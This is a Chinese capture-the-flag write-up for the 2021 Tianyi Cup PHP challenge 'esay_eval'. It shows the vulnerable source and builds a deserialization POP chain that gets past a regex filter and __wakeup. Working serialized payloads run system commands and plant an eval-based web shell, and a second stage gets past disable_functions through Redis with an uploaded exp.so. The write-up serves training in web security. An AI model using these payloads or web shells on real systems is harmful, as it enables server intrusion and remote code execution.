[天翼杯 2021]esay_eval
- 1 解题流程
- 1.1 分析
- 1.2 解题
- 1.2.1 一阶段
- 1.2.2 二阶段
- 二、思考总结
题目代码:
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
1 解题流程
1.1 分析
1、看代码,有unserialize函数,说明要反序列化
2、有 eval($this->code)
,说明要RCE
3、有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
,说明要绕过waf
4、A的wakeup里面会把code置空,所以要绕过
起点:B(destruct) 终点:A(call)
链条:B(destruct::a=$a)-> A(call::code=命令)
1.2 解题
1.2.1 一阶段
-
构造序列化代码(根据waf,传输的内容不能带有大写AB,所以把代码都用小写ab表示)
<?php class a{ public $code = "phpinfo();"; } class b{ function __destruct(){ echo $this->a->a(); } } $a = new a(); $b = new b(); $b->a = $a; echo serialize($b);
得到:O:1:“b”:1:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}}
-
绕过wakeup
得到:O:1:“b”:2:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}} -
传参得到
-
构造序列化代码(输出flag)
<?php class a{ public $code = "system('ls');"; } class b{ function __destruct(){ echo $this->a->a(); } } $a = new a(); $b = new b(); $b->a = $a; echo serialize($b); 得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}} 改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}
发现页面无法执行,说明肯定有限制了,不然不会不输出
-
查看disable_function
原来是这里限制了,那么需要改变战略,直接上传个一句话试试 -
构造序列化代码(一句话)
<?php class a{ //public $code = '<?php @eval($_POST["pwd"]) ?>'; public $code = '@eval($_POST["pwd"]);'; } class b{ function __destruct(){ echo $this->a->a(); } } $a = new a(); $b = new b(); $b->a = $a; echo serialize($b); 得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}} 改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}}
蚁剑成功连接
1.2.2 二阶段
这里有两种不同的解法:
- disabled_function绕过
- AS_Redis绕过
连接后查看config.php.swp,密码you_cannot_guess_it,同时上传exp.so
使用redis插件连接,执行命令即可
二、思考总结
这道题目有个很有意思的地方,eval执行命令为什么不能显示?这个问题一开始给我搞蒙圈了,知道phpinfo可以执行的时候,突然想到我们不当当可以把phpinfo当做测试命令去看有没有回显,更可以去看phpinfo里面的配置,查看配置很可能就是解题的关键!